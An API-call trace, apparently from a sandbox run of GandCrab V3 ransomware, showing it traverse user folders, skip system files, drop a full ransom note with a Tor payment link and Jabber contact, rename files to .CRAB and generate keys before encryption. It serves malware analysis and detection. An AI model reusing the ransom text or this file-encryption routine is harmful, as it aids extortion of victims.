	[0117.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\CRAB-DECRYPT.txt") returned 113
	[0117.654] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0117.654] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0117.654] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0117.655] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0117.655] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0117.655] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0117.655] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0117.655] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0117.655] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0117.655] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.655] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0117.655] FindClose (in: hFindFile=0xda3f20 | out: hFindFile=0xda3f20) returned 1
	[0117.655] FindNextFileW (in: hFindFile=0xda3f60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0117.655] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1
	[0117.655] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1
	[0117.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics"
	[0117.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\"
	[0117.655] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0117.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0117.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0117.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0117.656] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0117.656] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0117.656] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0117.656] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0117.656] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0117.656] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0117.656] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.656] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\\\CRAB-DECRYPT.txt") returned 116
	[0117.657] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0117.658] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0117.658] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0117.658] CloseHandle (hObject=0x3d8) returned 1
	[0117.659] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.659] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned 99
	[0117.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*"
	[0117.659] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0xda3e20
	[0117.659] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0117.659] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0117.659] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0117.660] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0117.660] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0117.660] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0117.660] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0117.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033"
	[0117.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\"
	[0117.660] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0117.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0117.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0117.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0117.660] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0117.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0117.660] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0117.660] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0117.661] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0117.661] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0117.661] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.661] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\\\CRAB-DECRYPT.txt") returned 121
	[0117.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0117.676] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0117.676] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0117.677] CloseHandle (hObject=0x3dc) returned 1
	[0117.677] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned 104
	[0117.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*"
	[0117.678] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0xda3f20
	[0117.678] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0117.678] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.749] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0117.750] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0117.750] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.750] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0117.750] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0117.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt"
	[0117.750] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.750] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 120
	[0117.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 120
	[0117.750] lstrlenW (lpString=".txt") returned 4
	[0117.750] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.750] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0117.750] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 120
	[0117.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\CRAB-DECRYPT.txt") returned 120
	[0117.750] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0117.750] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0117.750] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0117.750] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0117.751] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0117.751] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0117.751] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0117.751] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0117.751] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0117.751] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.751] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.751] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2=".") returned 1
	[0117.751] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="..") returned 1
	[0117.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox"
	[0117.751] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.751] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138
	[0117.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138
	[0117.751] lstrlenW (lpString=".glox") returned 5
	[0117.751] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.751] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0117.751] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138
	[0117.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138
	[0117.751] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="desktop.ini") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="autorun.inf") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="ntuser.dat") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="iconcache.db") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="bootsect.bak") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="boot.ini") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="ntuser.dat.log") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="thumbs.db") returned 1
	[0117.752] lstrcmpiW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0117.752] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.752] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB") returned 143
	[0117.752] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328884[[fn=architecture]].glox")) returned 0x20
	[0117.752] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox", dwFileAttributes=0x20) returned 1
	[0117.753] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328884[[fn=architecture]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328884[[fn=architecture]].glox.crab")) returned 1
	[0117.754] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0117.754] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB"
	[0117.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox.CRAB.CRAB"
	[0117.754] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0117.754] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.755] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.755] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0117.755] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.755] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.755] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0117.755] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.756] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.756] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0117.756] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0117.756] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.756] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0117.756] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0117.756] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
